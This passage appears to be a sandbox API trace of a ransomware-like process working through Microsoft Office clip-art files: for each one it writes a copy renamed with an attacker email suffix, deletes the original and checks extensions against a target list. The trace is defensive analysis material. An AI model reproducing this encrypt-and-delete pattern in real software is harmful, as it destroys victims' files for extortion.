	[0177.714] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1bac, lpOverlapped=0x0) returned 1
	[0177.716] WriteFile (in: hFile=0x588, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0177.717] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.717] WriteFile (in: hFile=0x588, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.718] SetEndOfFile (hFile=0x588) returned 1
	[0177.718] CloseHandle (hObject=0x588) returned 1
	[0177.718] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.718] SetEndOfFile (hFile=0x514) returned 1
	[0177.722] CloseHandle (hObject=0x514) returned 1
	[0177.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1
	[0177.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.727] lstrlenW (lpString=".doc") returned 4
	[0177.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.727] lstrlenW (lpString=".docx") returned 5
	[0177.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.727] lstrlenW (lpString=".pdf") returned 4
	[0177.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.727] lstrlenW (lpString=".xls") returned 4
	[0177.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.727] lstrlenW (lpString=".xlsx") returned 5
	[0177.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.727] lstrlenW (lpString=".ppt") returned 4
	[0177.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.727] lstrlenW (lpString=".zip") returned 4
	[0177.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.727] lstrlenW (lpString=".rar") returned 4
	[0177.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.727] lstrlenW (lpString=".bz2") returned 4
	[0177.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.728] lstrlenW (lpString=".7z") returned 3
	[0177.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.728] lstrlenW (lpString=".dbf") returned 4
	[0177.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.728] lstrlenW (lpString=".1cd") returned 4
	[0177.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.728] lstrlenW (lpString=".jpg") returned 4
	[0177.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.728] lstrlenW (lpString=".doc") returned 4
	[0177.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.728] lstrlenW (lpString=".docx") returned 5
	[0177.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.728] lstrlenW (lpString=".pdf") returned 4
	[0177.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.728] lstrlenW (lpString=".xls") returned 4
	[0177.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.728] lstrlenW (lpString=".xlsx") returned 5
	[0177.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.728] lstrlenW (lpString=".ppt") returned 4
	[0177.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.729] lstrlenW (lpString=".zip") returned 4
	[0177.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.729] lstrlenW (lpString=".rar") returned 4
	[0177.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.729] lstrlenW (lpString=".bz2") returned 4
	[0177.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.729] lstrlenW (lpString=".7z") returned 3
	[0177.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.729] lstrlenW (lpString=".dbf") returned 4
	[0177.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.729] lstrlenW (lpString=".1cd") returned 4
	[0177.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0177.729] lstrlenW (lpString=".jpg") returned 4
	[0177.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.729] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.729] lstrlenW (lpString="HH01618_.WMF") returned 12
	[0177.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0177.730] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=7296) returned 1
	[0177.730] CloseHandle (hObject=0x514) returned 1
	[0177.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220
	[0177.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0177.731] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.731] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0177.732] GetLastError () returned 0x0
	[0177.732] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1c80, lpOverlapped=0x0) returned 1
	[0177.734] WriteFile (in: hFile=0x588, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1c90, lpOverlapped=0x0) returned 1
	[0177.736] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.736] WriteFile (in: hFile=0x588, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.736] SetEndOfFile (hFile=0x588) returned 1
	[0177.736] CloseHandle (hObject=0x588) returned 1
	[0177.737] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.737] SetEndOfFile (hFile=0x514) returned 1
	[0177.740] CloseHandle (hObject=0x514) returned 1
	[0177.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1
	[0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.742] lstrlenW (lpString=".doc") returned 4
	[0177.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.742] lstrlenW (lpString=".docx") returned 5
	[0177.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.742] lstrlenW (lpString=".pdf") returned 4
	[0177.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.742] lstrlenW (lpString=".xls") returned 4
	[0177.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.742] lstrlenW (lpString=".xlsx") returned 5
	[0177.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.742] lstrlenW (lpString=".ppt") returned 4
	[0177.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.742] lstrlenW (lpString=".zip") returned 4
	[0177.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.742] lstrlenW (lpString=".rar") returned 4
	[0177.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.742] lstrlenW (lpString=".bz2") returned 4
	[0177.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.742] lstrlenW (lpString=".7z") returned 3
	[0177.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.743] lstrlenW (lpString=".dbf") returned 4
	[0177.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.743] lstrlenW (lpString=".1cd") returned 4
	[0177.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.743] lstrlenW (lpString=".jpg") returned 4
	[0177.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.743] lstrlenW (lpString=".doc") returned 4
	[0177.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.743] lstrlenW (lpString=".docx") returned 5
	[0177.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.743] lstrlenW (lpString=".pdf") returned 4
	[0177.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.743] lstrlenW (lpString=".xls") returned 4
	[0177.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.743] lstrlenW (lpString=".xlsx") returned 5
	[0177.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.743] lstrlenW (lpString=".ppt") returned 4
	[0177.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.743] lstrlenW (lpString=".zip") returned 4
	[0177.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.744] lstrlenW (lpString=".rar") returned 4
	[0177.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.744] lstrlenW (lpString=".bz2") returned 4
	[0177.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.744] lstrlenW (lpString=".7z") returned 3
	[0177.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.744] lstrlenW (lpString=".dbf") returned 4
	[0177.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.744] lstrlenW (lpString=".1cd") returned 4
	[0177.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0177.744] lstrlenW (lpString=".jpg") returned 4
	[0177.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.744] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.744] lstrlenW (lpString="HH01759_.WMF") returned 12
	[0177.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0177.746] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5414) returned 1
	[0177.746] CloseHandle (hObject=0x514) returned 1
	[0177.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x220
	[0177.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0177.747] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.747] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0177.747] GetLastError () returned 0x0
	[0177.748] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1526, lpOverlapped=0x0) returned 1
	[0178.078] WriteFile (in: hFile=0x588, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1530, lpOverlapped=0x0) returned 1
	[0178.080] ReadFile (in: hFile=0x514, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.080] WriteFile (in: hFile=0x588, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.080] SetEndOfFile (hFile=0x588) returned 1
	[0178.080] CloseHandle (hObject=0x588) returned 1
	[0178.081] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.081] SetEndOfFile (hFile=0x514) returned 1
	[0178.433] CloseHandle (hObject=0x514) returned 1
	[0178.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1
	[0178.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.458] lstrlenW (lpString=".doc") returned 4
	[0178.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.458] lstrlenW (lpString=".docx") returned 5
	[0178.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.459] lstrlenW (lpString=".pdf") returned 4
	[0178.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.459] lstrlenW (lpString=".xls") returned 4
	[0178.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.459] lstrlenW (lpString=".xlsx") returned 5
	[0178.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.459] lstrlenW (lpString=".ppt") returned 4
	[0178.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.459] lstrlenW (lpString=".zip") returned 4
	[0178.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.459] lstrlenW (lpString=".rar") returned 4
	[0178.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.459] lstrlenW (lpString=".bz2") returned 4
	[0178.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.459] lstrlenW (lpString=".7z") returned 3
	[0178.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.459] lstrlenW (lpString=".dbf") returned 4
	[0178.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.459] lstrlenW (lpString=".1cd") returned 4
	[0178.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.459] lstrlenW (lpString=".jpg") returned 4
	[0178.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.459] lstrlenW (lpString=".doc") returned 4
	[0178.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.459] lstrlenW (lpString=".docx") returned 5
	[0178.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.460] lstrlenW (lpString=".pdf") returned 4
	[0178.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.460] lstrlenW (lpString=".xls") returned 4
	[0178.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.460] lstrlenW (lpString=".xlsx") returned 5
	[0178.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.460] lstrlenW (lpString=".ppt") returned 4
	[0178.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.460] lstrlenW (lpString=".zip") returned 4
	[0178.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.460] lstrlenW (lpString=".rar") returned 4
	[0178.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.460] lstrlenW (lpString=".bz2") returned 4
	[0178.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.460] lstrlenW (lpString=".7z") returned 3
	[0178.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.460] lstrlenW (lpString=".dbf") returned 4
	[0178.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.460] lstrlenW (lpString=".1cd") returned 4
	[0178.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68
	[0178.460] lstrlenW (lpString=".jpg") returned 4
	[0178.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.460] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.461] lstrlenW (lpString="HM00116_.WMF") returned 12
	[0178.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0178.602] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=15852) returned 1
	[0178.602] CloseHandle (hObject=0x580) returned 1
	[0178.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220
	[0178.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0178.604] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.604] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.606] GetLastError () returned 0x0
